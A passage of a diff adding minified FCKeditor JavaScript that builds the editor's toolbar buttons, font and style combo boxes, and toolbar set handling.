(--this._LockCounter==0&&!this.HasFocus) this.Hide();};function FCKPanel_Window_OnFocus(e,A){A.HasFocus=true;};function FCKPanel_Window_OnBlur(e,A){A.HasFocus=false;if (A._LockCounter==0) FCKTools.RunFunction(A.Hide,A);};function CheckPopupOnHide(A){if (A||!this._Popup.isOpen){window.clearInterval(this._Timer);this._Timer=null;FCKTools.RunFunction(this.OnHide,this);}};function FCKPanel_Cleanup(){this._Popup=null;this._Window=null;this.Document=null;this.MainNode=null;}
+var FCKIcon=function(A){var B=A?typeof(A):'undefined';switch (B){case 'number':this.Path=FCKConfig.SkinPath+'fck_strip.gif';this.Size=16;this.Position=A;break;case 'undefined':this.Path=FCK_SPACER_PATH;break;case 'string':this.Path=A;break;default:this.Path=A[0];this.Size=A[1];this.Position=A[2];}};FCKIcon.prototype.CreateIconElement=function(A){var B,eIconImage;if (this.Position){var C='-'+((this.Position-1)*this.Size)+'px';if (FCKBrowserInfo.IsIE){B=A.createElement('DIV');eIconImage=B.appendChild(A.createElement('IMG'));eIconImage.src=this.Path;eIconImage.style.top=C;}else{B=A.createElement('IMG');B.src=FCK_SPACER_PATH;B.style.backgroundPosition='0px '+C;B.style.backgroundImage='url('+this.Path+')';}}else{B=A.createElement('DIV');eIconImage=B.appendChild(A.createElement('IMG'));eIconImage.src=this.Path?this.Path:FCK_SPACER_PATH;};B.className='TB_Button_Image';return B;}
+var FCKToolbarButtonUI=function(A,B,C,D,E,F){this.Name=A;this.Label=B||A;this.Tooltip=C||this.Label;this.Style=E||0;this.State=F||0;this.Icon=new FCKIcon(D);if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbarButtonUI_Cleanup);};FCKToolbarButtonUI.prototype._CreatePaddingElement=function(A){var B=A.createElement('IMG');B.className='TB_Button_Padding';B.src=FCK_SPACER_PATH;return B;};FCKToolbarButtonUI.prototype.Create=function(A){var B=this.MainElement;if (B){FCKToolbarButtonUI_Cleanup.call(this);if (B.parentNode) B.parentNode.removeChild(B);B=this.MainElement=null;};var C=FCKTools.GetElementDocument(A);B=this.MainElement=C.createElement('DIV');B._FCKButton=this;B.title=this.Tooltip;if (FCKBrowserInfo.IsGecko) B.onmousedown=FCKTools.CancelEvent;this.ChangeState(this.State,true);if (this.Style==0&&!this.ShowArrow){B.appendChild(this.Icon.CreateIconElement(C));}else{var D=B.appendChild(C.createElement('TABLE'));D.cellPadding=0;D.cellSpacing=0;var E=D.insertRow(-1);var F=E.insertCell(-1);if (this.Style==0||this.Style==2) F.appendChild(this.Icon.CreateIconElement(C));else F.appendChild(this._CreatePaddingElement(C));if (this.Style==1||this.Style==2){F=E.insertCell(-1);F.className='TB_Button_Text';F.noWrap=true;F.appendChild(C.createTextNode(this.Label));};if (this.ShowArrow){if (this.Style!=0){E.insertCell(-1).appendChild(this._CreatePaddingElement(C));};F=E.insertCell(-1);var G=F.appendChild(C.createElement('IMG'));G.src=FCKConfig.SkinPath+'images/toolbar.buttonarrow.gif';G.width=5;G.height=3;};F=E.insertCell(-1);F.appendChild(this._CreatePaddingElement(C));};A.appendChild(B);};FCKToolbarButtonUI.prototype.ChangeState=function(A,B){if (!B&&this.State==A) return;var e=this.MainElement;switch (parseInt(A,10)){case 0:e.className='TB_Button_Off';e.onmouseover=FCKToolbarButton_OnMouseOverOff;e.onmouseout=FCKToolbarButton_OnMouseOutOff;e.onclick=FCKToolbarButton_OnClick;break;case 1:e.className='TB_Button_On';e.onmouseover=FCKToolbarButton_OnMouseOverOn;e.onmouseout=FCKToolbarButton_OnMouseOutOn;e.onclick=FCKToolbarButton_OnClick;break;case -1:e.className='TB_Button_Disabled';e.onmouseover=null;e.onmouseout=null;e.onclick=null;break;};this.State=A;};function FCKToolbarButtonUI_Cleanup(){if (this.MainElement){this.MainElement._FCKButton=null;this.MainElement=null;}};function FCKToolbarButton_OnMouseOverOn(){this.className='TB_Button_On_Over';};function FCKToolbarButton_OnMouseOutOn(){this.className='TB_Button_On';};function FCKToolbarButton_OnMouseOverOff(){this.className='TB_Button_Off_Over';};function FCKToolbarButton_OnMouseOutOff(){this.className='TB_Button_Off';};function FCKToolbarButton_OnClick(e){if (this._FCKButton.OnClick) this._FCKButton.OnClick(this._FCKButton);};
+var FCKToolbarButton=function(A,B,C,D,E,F,G){this.CommandName=A;this.Label=B;this.Tooltip=C;this.Style=D;this.SourceView=E?true:false;this.ContextSensitive=F?true:false;if (G==null) this.IconPath=FCKConfig.SkinPath+'toolbar/'+A.toLowerCase()+'.gif';else if (typeof(G)=='number') this.IconPath=[FCKConfig.SkinPath+'fck_strip.gif',16,G];};FCKToolbarButton.prototype.Create=function(A){this._UIButton=new FCKToolbarButtonUI(this.CommandName,this.Label,this.Tooltip,this.IconPath,this.Style);this._UIButton.OnClick=this.Click;this._UIButton._ToolbarButton=this;this._UIButton.Create(A);};FCKToolbarButton.prototype.RefreshState=function(){var A=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetState();if (A==this._UIButton.State) return;this._UIButton.ChangeState(A);};FCKToolbarButton.prototype.Click=function(){var A=this._ToolbarButton||this;FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(A.CommandName).Execute();};FCKToolbarButton.prototype.Enable=function(){this.RefreshState();};FCKToolbarButton.prototype.Disable=function(){this._UIButton.ChangeState(-1);}
+var FCKSpecialCombo=function(A,B,C,D,E){this.FieldWidth=B||100;this.PanelWidth=C||150;this.PanelMaxHeight=D||150;this.Label='&nbsp;';this.Caption=A;this.Tooltip=A;this.Style=2;this.Enabled=true;this.Items={};this._Panel=new FCKPanel(E||window,true);this._Panel.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');this._PanelBox=this._Panel.MainNode.appendChild(this._Panel.Document.createElement('DIV'));this._PanelBox.className='SC_Panel';this._PanelBox.style.width=this.PanelWidth+'px';this._PanelBox.innerHTML='<table cellpadding="0" cellspacing="0" width="100%" style="TABLE-LAYOUT: fixed"><tr><td nowrap></td></tr></table>';this._ItemsHolderEl=this._PanelBox.getElementsByTagName('TD')[0];if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKSpecialCombo_Cleanup);};function FCKSpecialCombo_ItemOnMouseOver(){this.className+=' SC_ItemOver';};function FCKSpecialCombo_ItemOnMouseOut(){this.className=this.originalClass;};function FCKSpecialCombo_ItemOnClick(){this.className=this.originalClass;this.FCKSpecialCombo._Panel.Hide();this.FCKSpecialCombo.SetLabel(this.FCKItemLabel);if (typeof(this.FCKSpecialCombo.OnSelect)=='function') this.FCKSpecialCombo.OnSelect(this.FCKItemID,this);};FCKSpecialCombo.prototype.AddItem=function(A,B,C,D){var E=this._ItemsHolderEl.appendChild(this._Panel.Document.createElement('DIV'));E.className=E.originalClass='SC_Item';E.innerHTML=B;E.FCKItemID=A;E.FCKItemLabel=C||A;E.FCKSpecialCombo=this;E.Selected=false;if (FCKBrowserInfo.IsIE) E.style.width='100%';if (D) E.style.backgroundColor=D;E.onmouseover=FCKSpecialCombo_ItemOnMouseOver;E.onmouseout=FCKSpecialCombo_ItemOnMouseOut;E.onclick=FCKSpecialCombo_ItemOnClick;this.Items[A.toString().toLowerCase()]=E;return E;};FCKSpecialCombo.prototype.SelectItem=function(A){A=A?A.toString().toLowerCase():'';var B=this.Items[A];if (B){B.className=B.originalClass='SC_ItemSelected';B.Selected=true;}};FCKSpecialCombo.prototype.SelectItemByLabel=function(A,B){for (var C in this.Items){var D=this.Items[C];if (D.FCKItemLabel==A){D.className=D.originalClass='SC_ItemSelected';D.Selected=true;if (B) this.SetLabel(A);}}};FCKSpecialCombo.prototype.DeselectAll=function(A){for (var i in this.Items){this.Items[i].className=this.Items[i].originalClass='SC_Item';this.Items[i].Selected=false;};if (A) this.SetLabel('');};FCKSpecialCombo.prototype.SetLabelById=function(A){A=A?A.toString().toLowerCase():'';var B=this.Items[A];this.SetLabel(B?B.FCKItemLabel:'');};FCKSpecialCombo.prototype.SetLabel=function(A){this.Label=A.length==0?'&nbsp;':A;if (this._LabelEl){this._LabelEl.innerHTML=this.Label;FCKTools.DisableSelection(this._LabelEl);}};FCKSpecialCombo.prototype.SetEnabled=function(A){this.Enabled=A;this._OuterTable.className=A?'':'SC_FieldDisabled';};FCKSpecialCombo.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A);var C=this._OuterTable=A.appendChild(B.createElement('TABLE'));C.cellPadding=0;C.cellSpacing=0;C.insertRow(-1);var D;var E;switch (this.Style){case 0:D='TB_ButtonType_Icon';E=false;break;case 1:D='TB_ButtonType_Text';E=false;break;case 2:E=true;break;};if (this.Caption&&this.Caption.length>0&&E){var F=C.rows[0].insertCell(-1);F.innerHTML=this.Caption;F.className='SC_FieldCaption';};var G=FCKTools.AppendElement(C.rows[0].insertCell(-1),'div');if (E){G.className='SC_Field';G.style.width=this.FieldWidth+'px';G.innerHTML='<table width="100%" cellpadding="0" cellspacing="0" style="TABLE-LAYOUT: fixed;"><tbody><tr><td class="SC_FieldLabel"><label>&nbsp;</label></td><td class="SC_FieldButton">&nbsp;</td></tr></tbody></table>';this._LabelEl=G.getElementsByTagName('label')[0];this._LabelEl.innerHTML=this.Label;}else{G.className='TB_Button_Off';G.innerHTML='<table title="'+this.Tooltip+'" class="'+D+'" cellspacing="0" cellpadding="0" border="0"><tr><td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td><td class="TB_Text">'+this.Caption+'</td><td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td><td class="TB_ButtonArrow"><img src="'+FCKConfig.SkinPath+'images/toolbar.buttonarrow.gif" width="5" height="3"></td><td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td></tr></table>';};G.SpecialCombo=this;G.onmouseover=FCKSpecialCombo_OnMouseOver;G.onmouseout=FCKSpecialCombo_OnMouseOut;G.onclick=FCKSpecialCombo_OnClick;FCKTools.DisableSelection(this._Panel.Document.body);};function FCKSpecialCombo_Cleanup(){this._LabelEl=null;this._OuterTable=null;this._ItemsHolderEl=null;this._PanelBox=null;if (this.Items){for (var A in this.Items) this.Items[A]=null;}};function FCKSpecialCombo_OnMouseOver(){if (this.SpecialCombo.Enabled){switch (this.SpecialCombo.Style){case 0:this.className='TB_Button_On_Over';break;case 1:this.className='TB_Button_On_Over';break;case 2:this.className='SC_Field SC_FieldOver';break;}}};function FCKSpecialCombo_OnMouseOut(){switch (this.SpecialCombo.Style){case 0:this.className='TB_Button_Off';break;case 1:this.className='TB_Button_Off';break;case 2:this.className='SC_Field';break;}};function FCKSpecialCombo_OnClick(e){var A=this.SpecialCombo;if (A.Enabled){var B=A._Panel;var C=A._PanelBox;var D=A._ItemsHolderEl;var E=A.PanelMaxHeight;if (A.OnBeforeClick) A.OnBeforeClick(A);if (FCKBrowserInfo.IsIE) B.Preload(0,this.offsetHeight,this);if (D.offsetHeight>E) C.style.height=E+'px';else C.style.height='';B.Show(0,this.offsetHeight,this);}};
+var FCKToolbarSpecialCombo=function(){this.SourceView=false;this.ContextSensitive=true;this._LastValue=null;};function FCKToolbarSpecialCombo_OnSelect(A,B){FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).Execute(A,B);};FCKToolbarSpecialCombo.prototype.Create=function(A){this._Combo=new FCKSpecialCombo(this.GetLabel(),this.FieldWidth,this.PanelWidth,this.PanelMaxHeight,FCKBrowserInfo.IsIE?window:FCKTools.GetElementWindow(A).parent);this._Combo.Tooltip=this.Tooltip;this._Combo.Style=this.Style;this.CreateItems(this._Combo);this._Combo.Create(A);this._Combo.CommandName=this.CommandName;this._Combo.OnSelect=FCKToolbarSpecialCombo_OnSelect;};function FCKToolbarSpecialCombo_RefreshActiveItems(A,B){A.DeselectAll();A.SelectItem(B);A.SetLabelById(B);};FCKToolbarSpecialCombo.prototype.RefreshState=function(){var A;var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetState();if (B!=-1){A=1;if (this.RefreshActiveItems) this.RefreshActiveItems(this._Combo,B);else{if (this._LastValue!=B){this._LastValue=B;FCKToolbarSpecialCombo_RefreshActiveItems(this._Combo,B);}}}else A=-1;if (A==this.State) return;if (A==-1){this._Combo.DeselectAll();this._Combo.SetLabel('');};this.State=A;this._Combo.SetEnabled(A!=-1);};FCKToolbarSpecialCombo.prototype.Enable=function(){this.RefreshState();};FCKToolbarSpecialCombo.prototype.Disable=function(){this.State=-1;this._Combo.DeselectAll();this._Combo.SetLabel('');this._Combo.SetEnabled(false);};
+var FCKToolbarFontsCombo=function(A,B){this.CommandName='FontName';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;};FCKToolbarFontsCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontsCombo.prototype.GetLabel=function(){return FCKLang.Font;};FCKToolbarFontsCombo.prototype.CreateItems=function(A){var B=FCKConfig.FontNames.split(';');for (var i=0;i<B.length;i++) this._Combo.AddItem(B[i],'<font face="'+B[i]+'" style="font-size: 12px">'+B[i]+'</font>');}
+var FCKToolbarFontSizeCombo=function(A,B){this.CommandName='FontSize';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;};FCKToolbarFontSizeCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontSizeCombo.prototype.GetLabel=function(){return FCKLang.FontSize;};FCKToolbarFontSizeCombo.prototype.CreateItems=function(A){A.FieldWidth=70;var B=FCKConfig.FontSizes.split(';');for (var i=0;i<B.length;i++){var C=B[i].split('/');this._Combo.AddItem(C[0],'<font size="'+C[0]+'">'+C[1]+'</font>',C[1]);}}
+var FCKToolbarFontFormatCombo=function(A,B){this.CommandName='FontFormat';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;this.NormalLabel='Normal';this.PanelWidth=190;};FCKToolbarFontFormatCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarFontFormatCombo.prototype.GetLabel=function(){return FCKLang.FontFormat;};FCKToolbarFontFormatCombo.prototype.CreateItems=function(A){var B=A._Panel.Document;FCKTools.AppendStyleSheet(B,FCKConfig.ToolbarComboPreviewCSS);if (FCKConfig.BodyId&&FCKConfig.BodyId.length>0) B.body.id=FCKConfig.BodyId;if (FCKConfig.BodyClass&&FCKConfig.BodyClass.length>0) B.body.className+=' '+FCKConfig.BodyClass;var C=FCKLang['FontFormats'].split(';');var D={p:C[0],pre:C[1],address:C[2],h1:C[3],h2:C[4],h3:C[5],h4:C[6],h5:C[7],h6:C[8],div:C[9]};var E=FCKConfig.FontFormats.split(';');for (var i=0;i<E.length;i++){var F=E[i];var G=D[F];if (F=='p') this.NormalLabel=G;this._Combo.AddItem(F,'<div class="BaseFont"><'+F+'>'+G+'</'+F+'></div>',G);}};if (FCKBrowserInfo.IsIE){FCKToolbarFontFormatCombo.prototype.RefreshActiveItems=function(A,B){if (B==this.NormalLabel){if (A.Label!='&nbsp;') A.DeselectAll(true);}else{if (this._LastValue==B) return;A.SelectItemByLabel(B,true);};this._LastValue=B;}}
+var FCKToolbarStyleCombo=function(A,B){this.CommandName='Style';this.Label=this.GetLabel();this.Tooltip=A?A:this.Label;this.Style=B?B:2;};FCKToolbarStyleCombo.prototype=new FCKToolbarSpecialCombo;FCKToolbarStyleCombo.prototype.GetLabel=function(){return FCKLang.Style;};FCKToolbarStyleCombo.prototype.CreateItems=function(A){var B=A._Panel.Document;FCKTools.AppendStyleSheet(B,FCKConfig.ToolbarComboPreviewCSS);B.body.className+=' ForceBaseFont';if (FCKConfig.BodyId&&FCKConfig.BodyId.length>0) B.body.id=FCKConfig.BodyId;if (FCKConfig.BodyClass&&FCKConfig.BodyClass.length>0) B.body.className+=' '+FCKConfig.BodyClass;if (!(FCKBrowserInfo.IsGecko&&FCKBrowserInfo.IsGecko10)) A.OnBeforeClick=this.RefreshVisibleItems;var C=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).Styles;for (var s in C){var D=C[s];var E;if (D.IsObjectElement) E=A.AddItem(s,s);else E=A.AddItem(s,D.GetOpenerTag()+s+D.GetCloserTag());E.Style=D;}};FCKToolbarStyleCombo.prototype.RefreshActiveItems=function(A){A.DeselectAll();var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetActiveStyles();if (B.length>0){for (var i=0;i<B.length;i++) A.SelectItem(B[i].Name);A.SetLabelById(B[0].Name);}else A.SetLabel('');};FCKToolbarStyleCombo.prototype.RefreshVisibleItems=function(A){if (FCKSelection.GetType()=='Control') var B=FCKSelection.GetSelectedElement().tagName;for (var i in A.Items){var C=A.Items[i];if ((B&&C.Style.Element==B)||(!B&&!C.Style.IsObjectElement)) C.style.display='';else C.style.display='none';}}
+var FCKToolbarPanelButton=function(A,B,C,D,E){this.CommandName=A;var F;if (E==null) F=FCKConfig.SkinPath+'toolbar/'+A.toLowerCase()+'.gif';else if (typeof(E)=='number') F=[FCKConfig.SkinPath+'fck_strip.gif',16,E];var G=this._UIButton=new FCKToolbarButtonUI(A,B,C,F,D);G._FCKToolbarPanelButton=this;G.ShowArrow=true;G.OnClick=FCKToolbarPanelButton_OnButtonClick;};FCKToolbarPanelButton.prototype.TypeName='FCKToolbarPanelButton';FCKToolbarPanelButton.prototype.Create=function(A){A.className+='Menu';this._UIButton.Create(A);var B=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName)._Panel;B._FCKToolbarPanelButton=this;var C=B.Document.body.appendChild(B.Document.createElement('div'));C.style.position='absolute';C.style.top='0px';var D=this.LineImg=C.appendChild(B.Document.createElement('IMG'));D.className='TB_ConnectionLine';D.src=FCK_SPACER_PATH;B.OnHide=FCKToolbarPanelButton_OnPanelHide;};function FCKToolbarPanelButton_OnButtonClick(A){var B=this._FCKToolbarPanelButton;var e=B._UIButton.MainElement;B._UIButton.ChangeState(1);B.LineImg.style.width=(e.offsetWidth-2)+'px';FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(B.CommandName).Execute(0,e.offsetHeight-1,e);};function FCKToolbarPanelButton_OnPanelHide(){var A=this._FCKToolbarPanelButton;A._UIButton.ChangeState(0);};FCKToolbarPanelButton.prototype.RefreshState=FCKToolbarButton.prototype.RefreshState;FCKToolbarPanelButton.prototype.Enable=FCKToolbarButton.prototype.Enable;FCKToolbarPanelButton.prototype.Disable=FCKToolbarButton.prototype.Disable;
+var FCKToolbarItems={};FCKToolbarItems.LoadedItems={};FCKToolbarItems.RegisterItem=function(A,B){this.LoadedItems[A]=B;};FCKToolbarItems.GetItem=function(A){var B=FCKToolbarItems.LoadedItems[A];if (B) return B;switch (A){case 'Source':B=new FCKToolbarButton('Source',FCKLang.Source,null,2,true,true,1);break;case 'DocProps':B=new FCKToolbarButton('DocProps',FCKLang.DocProps,null,null,null,null,2);break;case 'Save':B=new FCKToolbarButton('Save',FCKLang.Save,null,null,true,null,3);break;case 'NewPage':B=new FCKToolbarButton('NewPage',FCKLang.NewPage,null,null,true,null,4);break;case 'Preview':B=new FCKToolbarButton('Preview',FCKLang.Preview,null,null,true,null,5);break;case 'Templates':B=new FCKToolbarButton('Templates',FCKLang.Templates,null,null,null,null,6);break;case 'About':B=new FCKToolbarButton('About',FCKLang.About,null,null,true,null,47);break;case 'Cut':B=new FCKToolbarButton('Cut',FCKLang.Cut,null,null,false,true,7);break;case 'Copy':B=new FCKToolbarButton('Copy',FCKLang.Copy,null,null,false,true,8);break;case 'Paste':B=new FCKToolbarButton('Paste',FCKLang.Paste,null,null,false,true,9);break;case 'PasteText':B=new FCKToolbarButton('PasteText',FCKLang.PasteText,null,null,false,true,10);break;case 'PasteWord':B=new FCKToolbarButton('PasteWord',FCKLang.PasteWord,null,null,false,true,11);break;case 'Print':B=new FCKToolbarButton('Print',FCKLang.Print,null,null,false,true,12);break;case 'SpellCheck':B=new FCKToolbarButton('SpellCheck',FCKLang.SpellCheck,null,null,null,null,13);break;case 'Undo':B=new FCKToolbarButton('Undo',FCKLang.Undo,null,null,false,true,14);break;case 'Redo':B=new FCKToolbarButton('Redo',FCKLang.Redo,null,null,false,true,15);break;case 'SelectAll':B=new FCKToolbarButton('SelectAll',FCKLang.SelectAll,null,null,null,null,18);break;case 'RemoveFormat':B=new FCKToolbarButton('RemoveFormat',FCKLang.RemoveFormat,null,null,false,true,19);break;case 'FitWindow':B=new FCKToolbarButton('FitWindow',FCKLang.FitWindow,null,null,true,true,66);break;case 'Bold':B=new FCKToolbarButton('Bold',FCKLang.Bold,null,null,false,true,20);break;case 'Italic':B=new FCKToolbarButton('Italic',FCKLang.Italic,null,null,false,true,21);break;case 'Underline':B=new FCKToolbarButton('Underline',FCKLang.Underline,null,null,false,true,22);break;case 'StrikeThrough':B=new FCKToolbarButton('StrikeThrough',FCKLang.StrikeThrough,null,null,false,true,23);break;case 'Subscript':B=new FCKToolbarButton('Subscript',FCKLang.Subscript,null,null,false,true,24);break;case 'Superscript':B=new FCKToolbarButton('Superscript',FCKLang.Superscript,null,null,false,true,25);break;case 'OrderedList':B=new FCKToolbarButton('InsertOrderedList',FCKLang.NumberedListLbl,FCKLang.NumberedList,null,false,true,26);break;case 'UnorderedList':B=new FCKToolbarButton('InsertUnorderedList',FCKLang.BulletedListLbl,FCKLang.BulletedList,null,false,true,27);break;case 'Outdent':B=new FCKToolbarButton('Outdent',FCKLang.DecreaseIndent,null,null,false,true,28);break;case 'Indent':B=new FCKToolbarButton('Indent',FCKLang.IncreaseIndent,null,null,false,true,29);break;case 'Link':B=new FCKToolbarButton('Link',FCKLang.InsertLinkLbl,FCKLang.InsertLink,null,false,true,34);break;case 'Unlink':B=new FCKToolbarButton('Unlink',FCKLang.RemoveLink,null,null,false,true,35);break;case 'Anchor':B=new FCKToolbarButton('Anchor',FCKLang.Anchor,null,null,null,null,36);break;case 'Image':B=new FCKToolbarButton('Image',FCKLang.InsertImageLbl,FCKLang.InsertImage,null,false,true,37);break;case 'Flash':B=new FCKToolbarButton('Flash',FCKLang.InsertFlashLbl,FCKLang.InsertFlash,null,false,true,38);break;case 'Table':B=new FCKToolbarButton('Table',FCKLang.InsertTableLbl,FCKLang.InsertTable,null,false,true,39);break;case 'SpecialChar':B=new FCKToolbarButton('SpecialChar',FCKLang.InsertSpecialCharLbl,FCKLang.InsertSpecialChar,null,false,true,42);break;case 'Smiley':B=new FCKToolbarButton('Smiley',FCKLang.InsertSmileyLbl,FCKLang.InsertSmiley,null,false,true,41);break;case 'PageBreak':B=new FCKToolbarButton('PageBreak',FCKLang.PageBreakLbl,FCKLang.PageBreak,null,false,true,43);break;case 'Rule':B=new FCKToolbarButton('InsertHorizontalRule',FCKLang.InsertLineLbl,FCKLang.InsertLine,null,false,true,40);break;case 'JustifyLeft':B=new FCKToolbarButton('JustifyLeft',FCKLang.LeftJustify,null,null,false,true,30);break;case 'JustifyCenter':B=new FCKToolbarButton('JustifyCenter',FCKLang.CenterJustify,null,null,false,true,31);break;case 'JustifyRight':B=new FCKToolbarButton('JustifyRight',FCKLang.RightJustify,null,null,false,true,32);break;case 'JustifyFull':B=new FCKToolbarButton('JustifyFull',FCKLang.BlockJustify,null,null,false,true,33);break;case 'Style':B=new FCKToolbarStyleCombo();break;case 'FontName':B=new FCKToolbarFontsCombo();break;case 'FontSize':B=new FCKToolbarFontSizeCombo();break;case 'FontFormat':B=new FCKToolbarFontFormatCombo();break;case 'TextColor':B=new FCKToolbarPanelButton('TextColor',FCKLang.TextColor,null,null,45);break;case 'BGColor':B=new FCKToolbarPanelButton('BGColor',FCKLang.BGColor,null,null,46);break;case 'Find':B=new FCKToolbarButton('Find',FCKLang.Find,null,null,null,null,16);break;case 'Replace':B=new FCKToolbarButton('Replace',FCKLang.Replace,null,null,null,null,17);break;case 'Form':B=new FCKToolbarButton('Form',FCKLang.Form,null,null,null,null,48);break;case 'Checkbox':B=new FCKToolbarButton('Checkbox',FCKLang.Checkbox,null,null,null,null,49);break;case 'Radio':B=new FCKToolbarButton('Radio',FCKLang.RadioButton,null,null,null,null,50);break;case 'TextField':B=new FCKToolbarButton('TextField',FCKLang.TextField,null,null,null,null,51);break;case 'Textarea':B=new FCKToolbarButton('Textarea',FCKLang.Textarea,null,null,null,null,52);break;case 'HiddenField':B=new FCKToolbarButton('HiddenField',FCKLang.HiddenField,null,null,null,null,56);break;case 'Button':B=new FCKToolbarButton('Button',FCKLang.Button,null,null,null,null,54);break;case 'Select':B=new FCKToolbarButton('Select',FCKLang.SelectionField,null,null,null,null,53);break;case 'ImageButton':B=new FCKToolbarButton('ImageButton',FCKLang.ImageButton,null,null,null,null,55);break;default:alert(FCKLang.UnknownToolbarItem.replace(/%1/g,A));return null;};FCKToolbarItems.LoadedItems[A]=B;return B;}
+var FCKToolbar=function(){this.Items=[];if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbar_Cleanup);};FCKToolbar.prototype.AddItem=function(A){return this.Items[this.Items.length]=A;};FCKToolbar.prototype.AddButton=function(A,B,C,D,E,F){if (typeof(D)=='number') D=[this.DefaultIconsStrip,this.DefaultIconSize,D];var G=new FCKToolbarButtonUI(A,B,C,D,E,F);G._FCKToolbar=this;G.OnClick=FCKToolbar_OnItemClick;return this.AddItem(G);};function FCKToolbar_OnItemClick(A){var B=A._FCKToolbar;if (B.OnItemClick) B.OnItemClick(B,A);};FCKToolbar.prototype.AddSeparator=function(){this.AddItem(new FCKToolbarSeparator());};FCKToolbar.prototype.Create=function(A){if (this.MainElement){if (this.MainElement.parentNode) this.MainElement.parentNode.removeChild(this.MainElement);this.MainElement=null;};var B=FCKTools.GetElementDocument(A);var e=this.MainElement=B.createElement('table');e.className='TB_Toolbar';e.style.styleFloat=e.style.cssFloat=(FCKLang.Dir=='ltr'?'left':'right');e.dir=FCKLang.Dir;e.cellPadding=0;e.cellSpacing=0;this.RowElement=e.insertRow(-1);var C;if (!this.HideStart){C=this.RowElement.insertCell(-1);C.appendChild(B.createElement('div')).className='TB_Start';};for (var i=0;i<this.Items.length;i++){this.Items[i].Create(this.RowElement.insertCell(-1));};if (!this.HideEnd){C=this.RowElement.insertCell(-1);C.appendChild(B.createElement('div')).className='TB_End';};A.appendChild(e);};function FCKToolbar_Cleanup(){this.MainElement=null;this.RowElement=null;};var FCKToolbarSeparator=function(){};FCKToolbarSeparator.prototype.Create=function(A){FCKTools.AppendElement(A,'div').className='TB_Separator';}
+var FCKToolbarBreak=function(){};FCKToolbarBreak.prototype.Create=function(A){var B=A.ownerDocument.createElement('div');B.style.clear=B.style.cssFloat=FCKLang.Dir=='rtl'?'right':'left';A.appendChild(B);}
+function FCKToolbarSet_Create(A){var B;var C=A||FCKConfig.ToolbarLocation;switch (C){case 'In':document.getElementById('xToolbarRow').style.display='';B=new FCKToolbarSet(document);break;default:FCK.Events.AttachEvent('OnBlur',FCK_OnBlur);FCK.Events.AttachEvent('OnFocus',FCK_OnFocus);var D;var E=C.match(/^Out:(.+)\((\w+)\)$/);if (E){D=eval('parent.'+E[1]).document.getElementById(E[2]);}else{E=C.match(/^Out:(\w+)$/);if (E) D=parent.document.getElementById(E[1]);};if (!D){alert('Invalid value for "ToolbarLocation"');return this._Init('In');};B=D.__FCKToolbarSet;if (B) break;var F=FCKTools.GetElementDocument(D).createElement('iframe');F.frameBorder=0;F.width='100%';F.height='10';D.appendChild(F);F.unselectable='on';var G=F.contentWindow.document;G.open();G.write('<html><head><script type="text/javascript"> window.onload = window.onresize = function() { window.frameElement.height = document.body.scrollHeight ; } </script></head><body style="overflow: hidden">'+document.getElementById('xToolbarSpace').innerHTML+'</body></html>');G.close();G.oncontextmenu=FCKTools.CancelEvent;FCKTools.AppendStyleSheet(G,FCKConfig.SkinPath+'fck_editor.css');B=D.__FCKToolbarSet=new FCKToolbarSet(G);B._IFrame=F;if (FCK.IECleanup) FCK.IECleanup.AddItem(D,FCKToolbarSet_Target_Cleanup);};B.CurrentInstance=FCK;FCK.AttachToOnSelectionChange(B.RefreshItemsState);return B;};function FCK_OnBlur(A){var B=A.ToolbarSet;if (B.CurrentInstance==A) B.Disable();};function FCK_OnFocus(A){var B=A.ToolbarSet;var C=A||FCK;B.CurrentInstance.FocusManager.RemoveWindow(B._IFrame.contentWindow);B.CurrentInstance=C;C.FocusManager.AddWindow(B._IFrame.contentWindow,true);B.Enable();};function FCKToolbarSet_Cleanup(){this._TargetElement=null;this._IFrame=null;};function FCKToolbarSet_Target_Cleanup(){this.__FCKToolbarSet=null;};var FCKToolbarSet=function(A){this._Document=A;this._TargetElement=A.getElementById('xToolbar');var B=A.getElementById('xExpandHandle');var C=A.getElementById('xCollapseHandle');B.title=FCKLang.ToolbarExpand;B.onclick=FCKToolbarSet_Expand_OnClick;C.title=FCKLang.ToolbarCollapse;C.onclick=FCKToolbarSet_Collapse_OnClick;if (!FCKConfig.ToolbarCanCollapse||FCKConfig.ToolbarStartExpanded) this.Expand();else this.Collapse();C.style.display=FCKConfig.ToolbarCanCollapse?'':'none';if (FCKConfig.ToolbarCanCollapse) C.style.display='';else A.getElementById('xTBLeftBorder').style.display='';this.Toolbars=[];this.IsLoaded=false;if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbarSet_Cleanup);};function FCKToolbarSet_Expand_OnClick(){FCK.ToolbarSet.Expand();};function FCKToolbarSet_Collapse_OnClick(){FCK.ToolbarSet.Collapse();};FCKToolbarSet.prototype.Expand=function(){this._ChangeVisibility(false);};FCKToolbarSet.prototype.Collapse=function(){this._ChangeVisibility(true);};FCKToolbarSet.prototype._ChangeVisibility=function(A){this._Document.getElementById('xCollapsed').style.display=A?'':'none';this._Document.getElementById('xExpanded').style.display=A?'none':'';if 